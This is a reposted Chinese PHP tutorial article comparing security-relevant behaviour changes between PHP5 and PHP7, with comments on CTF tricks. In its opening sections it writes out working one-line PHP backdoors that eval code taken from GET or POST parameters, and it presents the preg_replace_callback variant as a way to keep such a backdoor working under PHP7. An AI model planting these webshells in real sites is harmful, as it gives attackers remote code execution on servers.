利用\e修飾符執行程式碼的後門大家也用了不少了,具體看官方的這段描述:"/> 利用\e修飾符執行程式碼的後門大家也用了不少了,具體看官方的這段描述:">

首頁 >後端開發 >php教程 >PHP7和PHP5在安全上的差異(實例)

PHP7和PHP5在安全上的差異(實例)

藏色散人
藏色散人轉載
2019-03-21 15:16:314953瀏覽

函數修改

preg_replace()不再支援/e修飾符

<?php preg_replace("/.*/e",$_GET["h"],"."); ?>

利用\e修飾符執行程式碼的後門大家也用了不少了,具體看官方的這段描述:

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

很不幸,在PHP7以上版本不在支持\e修飾符,同時官方給了我們一個新的函數preg_replace_callback:

推薦手冊PHP7新特性手冊

#這裡我們稍微改動一下就可以利用它當我們的後門:

<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>

PHP7和PHP5在安全上的差異(實例)

create_function()被廢棄

<?php $func =create_function(&#39;&#39;,$_POST[&#39;cmd&#39;]);$func(); ?>

少了一個可以利用當後閘的函數,實際上它是透過執行eval實現的。可有可無。

mysql_*系列全員移除

如果你要在PHP7上面用舊版的mysql_*系列函數需要你自己去額外裝了,官方不在自帶,現在官方推薦的是mysqli或pdo_mysql。這是否預示著未來SQL注入漏洞在PHP上的大幅減少呢~

我已经很久没在目标站上挖到过sql注入了,全都是预编译!

unserialize()增加一個可選白名單參數

$data = unserialize($serializedObj1 , ["allowed_classes" => true]);
$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);

其實就是一個白名單,如果反序列資料裡面的類別名稱不在這個白名單內,就會報錯。

PHP7和PHP5在安全上的差異(實例)

像這樣的報錯!

可以是類別名稱也可以是布林數據,如果是FALSE就會將所有的物件轉換為__PHP_Incomplete_Class物件。 TRUE是無限制。也可以傳入類別名稱實現白名單。

还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。

assert()預設不在可以執行程式碼

這就是眾多馬不能用的罪魁禍首了,太多的馬用assert()來執行程式碼了,這個更新基本上就團滅,一般情況下修改成eval即可正常運行了~

語法修改

foreach不再改變內部數組指針

<?php $a = array(&#39;1&#39;,&#39;2&#39;,&#39;3&#39;); foreach ($a as $k=>&$n){ echo "";
}
print_r($a); foreach ($a as $k=>$n){ echo "";
}
print_r($a);

這樣的程式碼在php5中,是這樣的執行結果:

PHP7和PHP5在安全上的差異(實例)

因為陣列最後一個元素的$value 引用在foreach 迴圈之後仍會保留,在第二個迴圈的時候其實是對先前的指標不斷的賦值。 php7中透過值遍歷時,操作的值為陣列的副本,不會對後續操作進行影響。

這個改變影響了某些cms的洞在PHP7上無法利用了….你知道我指的是哪個洞的。

这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。

8進位字元容錯率降低

在php5版本,如果一個八進位字元如果含有無效數字,則無效數字將會被靜默刪節。

<?php echo octdec( &#39;012999999999999&#39; ) . "\n"; echo octdec( &#39;012&#39; ) . "\n"; if (octdec( &#39;012999999999999&#39; )==octdec( &#39;012&#39; )){ echo ": )". "\n";
}

例如這樣的程式碼在php5中的執行結果如下:

PHP7和PHP5在安全上的差異(實例)

但是在php7裡面會觸發一個解析錯誤。

这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。

十六進位字串不再被認為是數字

這個修改一​​出,以後CTF套路會少很多~

很多騷操作都不能用了~

這個沒什麼好說的,大家都懂。

<?php var_dump("0x123" == "291");
var_dump(is_numeric("0x123"));
var_dump("0xe" + "0x1");
var_dump(substr("foo", "0x1")); ?>

以上程式碼在PHP5運行結果如下:

PHP7和PHP5在安全上的差異(實例)

PHP7運行結果如下:

PHP7和PHP5在安全上的差異(實例)

你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。

移除了ASP 和script PHP 標籤

PHP7和PHP5在安全上的差異(實例)

現在只有

字面意思,影响其实不是很大(只是以后骚套路会少一点)。

超大浮點數類型轉換截斷

將浮點數轉換為整數的時候,如果浮點數數值太大,導致無法以整數表達的情況下,在PHP5的版本中,轉換會直接將整數截斷,並不會引發錯誤。在PHP7中,會報錯。

CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。

雜項

exec(), system() passthru()函数对 NULL 增加了保护.
list()不再能解开字符串string变量
$HTTP_RAW_POST_DATA 被移除
__autoload() 方法被废弃
parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。
统一不同平台下的整型长度
session_start() 可以加入一个数组覆盖php.ini的配置
相关文章推荐:
1.php7和php5有什么不同之处?php5与php7之间的对比         
2.PHP5.5至PHP7.2 新特性整理
3.php7的垃圾回收和php5有什么区别
相关视频推荐:
1.独孤九贱(4)_PHP视频教程

相关推荐:《PHP教程

本篇文章就是关于PHP7和PHP5在安全上的区别介绍,希望对需要的朋友有所帮助!

以上是PHP7和PHP5在安全上的差異(實例)的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:52bug.cn。如有侵權,請聯絡admin@php.cn刪除